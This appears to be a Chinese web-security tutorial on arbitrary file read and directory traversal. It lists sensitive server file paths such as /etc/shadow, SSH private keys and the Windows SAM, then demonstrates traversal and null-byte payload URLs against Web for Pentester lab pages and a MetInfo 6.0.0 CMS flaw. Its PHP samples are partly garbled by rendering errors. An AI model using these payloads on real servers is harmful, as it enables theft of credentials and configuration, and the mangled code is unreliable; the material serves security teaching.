本文由红日安全成员: Once 编写,如有不当,还望斧正。
大家好,我们是红日安全-Web安全攻防小组。此项目是关于Web安全的系列文章分享,还包含一个HTB靶场供大家练习,我们给这个项目起了一个名字叫 Web安全实战 ,希望对想要学习Web安全的朋友们有所帮助。每一篇文章都是于基于漏洞简介-漏洞原理-漏洞危害-测试方法(手工测试,工具测试)-靶场测试(分为PHP靶场、JAVA靶场、Python靶场基本上三种靶场全部涵盖)-实战演练(主要选择相应CMS或者是Vulnhub进行实战演练),如果对大家有帮助请Star鼓励我们创作更好文章。如果你愿意加入我们,一起完善这个项目,欢迎通过邮件形式([email protected])联系我们。
1.1 任意文件读取下载漏洞简介
一些网站由于业务需求,可能提供文件查看或下载功能。如果对用户查看或下载的文件不做限制,则恶意用户能够查看或下载任意文件,可以是源代码文件、敏感文件等。
1.2 任意文件读取下载漏洞危害
攻击者可以读取下载服务器中的配置文件、敏感文件等,会提供攻击者更多可用信息,提高被入侵的风险。
1.3 任意文件读取下载漏洞利用条件
存在读文件的函数
读取文件的路径用户可控且未校验或校验不严
输出了文件内容
任意文件读取下载漏洞测试
寻找读取或下载文件的功能点,跳跃目录获取敏感文件
有的限制目录不严格,只对部分目录限制,可以尝试用其他敏感文件路径,常见敏感文件路径如下:Windows: C:\boot.ini //查看系统版本 C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件 C:\Windows\repair\sam //存储系统初次安装的密码 C:\Program Files\mysql\my.ini //Mysql配置 C:\Program Files\mysql\data\mysql\user.MYD //Mysql root C:\Windows\php.ini //php配置信息 C:\Windows\my.ini //Mysql配置信息 … Linux: /root/.ssh/authorized_keys /root/.ssh/id_rsa /root/.ssh/id_ras.keystore /root/.ssh/known_hosts /etc/passwd /etc/shadow /etc/my.cnf /etc/httpd/conf/httpd.conf /root/.bash_history /root/.mysql_history /proc/self/fd/fd[0-9]*(文件标识符) /proc/mounts /porc/config.gz
2.2 靶机测试
这里我们使用web for pentester进行测试
2.2.1 安装步骤
下载地址:https://download.vulnhub.com/pentesterlab/web_for_pentester_i386.iso
我们只需要VMware安装镜像文件即可使用
新建虚拟机
默认下一步
选择镜像文件
设置虚拟机名称和存放位置
磁盘大小默认即可
开启此虚拟机
查看ip地址
搭建成功,这里用Directory traversal做演示
2.2.2 Example 1
从代码里看出未作限制,直接读取文件
$UploadDir = ‘/var/www/files/’;
if (!(isset($_GET[‘file’])))
die();
$file = $_GET[‘file’];
$path = $UploadDir . $file;
if (!is_file($path))
die();
header(‘Cache-Control: must-revalidate, post-check=0, pre-check=0’);
header(‘Cache-Control: public’);
header(‘Content-Disposition: inline; filename="’ . basename( p a t h ) . ′ " ; ′ ) ; h e a d e r ( ′ C o n t e n t − T r a n s f e r − E n c o d i n g : b i n a r y ′ ) ; h e a d e r ( ′ C o n t e n t − L e n g t h : ′ . f i l e s i z e ( path) . '";'); header('Content-Transfer-Encoding: binary'); header('Content-Length: ' . filesize( path).′";′);header(′Content−Transfer−Encoding:binary′);header(′Content−Length:′.filesize(path));
h a n d l e = f o p e n ( handle = fopen( handle=fopen(path, ‘rb’);
do {
d a t a = f r e a d ( data = fread( data=fread(handle, 8192);
if (strlen( d a t a ) = = 0 ) b r e a k ; e c h o ( data) == 0) { break; } echo( data)==0)break;echo(data);
} while (true);
fclose($handle);
exit();
使用…/来跳跃目录读取敏感文件,我们这里读取passwd文件
http://192.168.163.141/dirtrav/example1.php?file=…/…/…/etc/passwd
2.2.3 Example 2
从代码里可以看出,路径必须存在/var/www/files/
if (!(isset($_GET[‘file’])))
die();
$file = $_GET[‘file’];
if (!(strstr($file,"/var/www/files/")))
die();
if (!is_file($file))
die();
header(‘Cache-Control: must-revalidate, post-check=0, pre-check=0’);
header(‘Cache-Control: public’);
header(‘Content-Disposition: inline; filename="’ . basename( f i l e ) . ′ " ; ′ ) ; h e a d e r ( ′ C o n t e n t − T r a n s f e r − E n c o d i n g : b i n a r y ′ ) ; h e a d e r ( ′ C o n t e n t − L e n g t h : ′ . f i l e s i z e ( file) . '";'); header('Content-Transfer-Encoding: binary'); header('Content-Length: ' . filesize( file).′";′);header(′Content−Transfer−Encoding:binary′);header(′Content−Length:′.filesize(file));
h a n d l e = f o p e n ( handle = fopen( handle=fopen(file, ‘rb’);
do {
d a t a = f r e a d ( data = fread( data=fread(handle, 8192);
if (strlen( d a t a ) = = 0 ) b r e a k ; e c h o ( data) == 0) { break; } echo( data)==0)break;echo(data);
} while (true);
fclose($handle);
exit();
http://192.168.163.141/dirtrav/example2.php?file=/var/www/files/…/…/…/etc/passwd
2.2.4 Example 3
从代码可以看出过滤空字符及以后的字符。
$UploadDir = ‘/var/www/files/’;
if (!(isset($_GET[‘file’])))
die();
$file = $_GET[‘file’];
$path = $UploadDir . $file.".png";
// Simulate null-byte issue that used to be in filesystem related functions in PHP
KaTeX parse error: Undefined control sequence: \x at position 23: …preg_replace('/\̲x̲00.*/',"",path);
if (!is_file($path))
die();
header(‘Cache-Control: must-revalidate, post-check=0, pre-check=0’);
header(‘Cache-Control: public’);
header(‘Content-Disposition: inline; filename="’ . basename( p a t h ) . ′ " ; ′ ) ; h e a d e r ( ′ C o n t e n t − T r a n s f e r − E n c o d i n g : b i n a r y ′ ) ; h e a d e r ( ′ C o n t e n t − L e n g t h : ′ . f i l e s i z e ( path) . '";'); header('Content-Transfer-Encoding: binary'); header('Content-Length: ' . filesize( path).′";′);header(′Content−Transfer−Encoding:binary′);header(′Content−Length:′.filesize(path));
h a n d l e = f o p e n ( handle = fopen( handle=fopen(path, ‘rb’);
do {
d a t a = f r e a d ( data = fread( data=fread(handle, 8192);
if (strlen( d a t a ) = = 0 ) b r e a k ; e c h o ( data) == 0) { break; } echo( data)==0)break;echo(data);
} while (true);
fclose($handle);
exit();
http://192.168.163.141/dirtrav/example3.php?file=…/…/…/etc/passwd%00
2.3 CMS实战演练
这里选的是MetInfo cms进行任意文件读取漏洞演示
2.3.1 安装步骤
下载地址:https://www.metinfo.cn/upload/file/MetInfo6.0.0.zip
漏洞环境:phpstudy、windows
存在漏洞:任意文件读取
解压好后,下一步下一步的安装,配置数据库、管理员信息。
安装完成
2.3.2 利用过程
漏洞点在:MetInfo6.0.0/include/thumb.php?dir=
漏洞代码文件位置:MetInfo6.0.0\app\system\include\module\old_thumb.class.php
有两次过滤,第一次把路径中…/、./进行过滤,第二次路径中需要有http和不能存在./,
$dir = str_replace(array(’…/’,’./’), ‘’, $_GET[‘dir’]);
if(substr(str_replace($_M[‘url’][‘site’], ‘’, KaTeX parse error: Expected 'EOF', got '&' at position 21: …0,4) == 'http' &̲& strpos(dir, ‘./’) === false){
header(“Content-type: image/jpeg”);
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}
在windows环境下可以使用…\进行绕过
http://127.0.0.1/MetInfo6.0.0/include/thumb.php?dir=http…\config\config_db.php
漏洞修复方案
1、对./、…/、、…%进行过滤
2、严格控制可读取或下载的文件路径
参考文章
https://www.jianshu.com/p/f4b06f59c4cb
https://www.freebuf.com/vuls/181698.html